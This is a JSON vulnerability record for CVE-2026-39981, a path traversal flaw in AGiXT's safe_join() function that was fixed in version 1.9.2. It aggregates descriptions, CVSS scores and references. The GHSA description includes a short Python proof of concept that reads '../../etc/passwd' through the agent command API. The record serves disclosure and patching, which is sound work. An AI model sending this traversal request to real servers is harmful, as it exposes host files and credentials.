{"id":"CVE-2026-39981","aliases":["CVE-2026-39981","GHSA-5gfj-64gh-mgmw","PYSEC-2026-2093"],"related":[],"kind":"vulnerability","state":"published","title":"AGiXT has a Path Traversal in safe_join()","summary":"AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.\n\n### Details\n`agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink)\n\n```python\n# source\ncommand_args = command.command_args\n\n# hop\nresponse = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)\n\n# sink\nnew_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split(\"/\")))\n```\n### PoC\n \n```python\n# tested on: agixt<=1.9.1\n# install: pip install agixt==1.9.1\n \nimport requests\n \nBASE = \"http://localhost:7437\"\nTOKEN = \"<your_api_key>\"\n \nheaders = {\"Authorization\": f\"Bearer {TOKEN}\"}\n \npayload = {\n    \"command_name\": \"read_file\",\n    \"command_args\": {\n        \"filename\": \"../../etc/passwd\"\n    }\n}\n \nr = requests.post(f\"{BASE}/api/agent/MyAgent/command\", json=payload, headers=headers)\nprint(r.text)\n# expected output: root:x:0:0:root:/root:/bin/bash ...\n```\n \n### Impact\n \nAuthenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.","format":"markdown","source":"ghsa"},{"lang":"es","text":"AGiXT es una plataforma dinámica de automatización de agentes de IA. Antes de la versión 1.9.2, la función safe_join() en la extensión essential_abilities no valida que las rutas de archivo resueltas permanezcan dentro del espacio de trabajo del agente designado. Un atacante autenticado puede usar secuencias de salto de directorio para leer, escribir o eliminar archivos arbitrarios en el servidor que aloja la instancia de AGiXT. Esta vulnerabilidad se corrigió en la versión 1.9.2.","source":"nvd"}],"published":"2026-04-08T20:02:01.000Z","modified":"2026-10-26T22:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 1.9.2","status":"affected"}],"vendor":"Josh-XT","product":"AGiXT","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.9.2"}],"ecosystem":"PyPI","package":"agixt","purl":"pkg:pypi/agixt","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.9.2"}],"vendor":"agixt","product":"agixt","cpe":"cpe:2.3:a:agixt:agixt:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.9.2"}],"ecosystem":"PyPI","package":"agixt","purl":"pkg:pypi/agixt","source":"pysec"}],"references":[{"url":"https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2","tags":["advisory","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39981","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/Josh-XT/AGiXT","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-13T20:10:01.620Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-39981","url":"https://www.cve.org/CVERecord?id=CVE-2026-39981","licence":"CVE Terms of Use","modified":"2026-04-13T20:10:13.881Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5gfj-64gh-mgmw","url":"https://github.com/advisories/GHSA-5gfj-64gh-mgmw","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:45.401Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-39981","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39981","licence":"Public domain","modified":"2026-10-26T22:10:00.163Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2093","url":"https://osv.dev/vulnerability/PYSEC-2026-2093","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:21.946Z"}],"updatedAt":"2026-11-25T22:59:18.392Z","epss":{"score":0.01371,"percentile":0.72747,"date":"2026-12-01T12:00:22.000Z"}}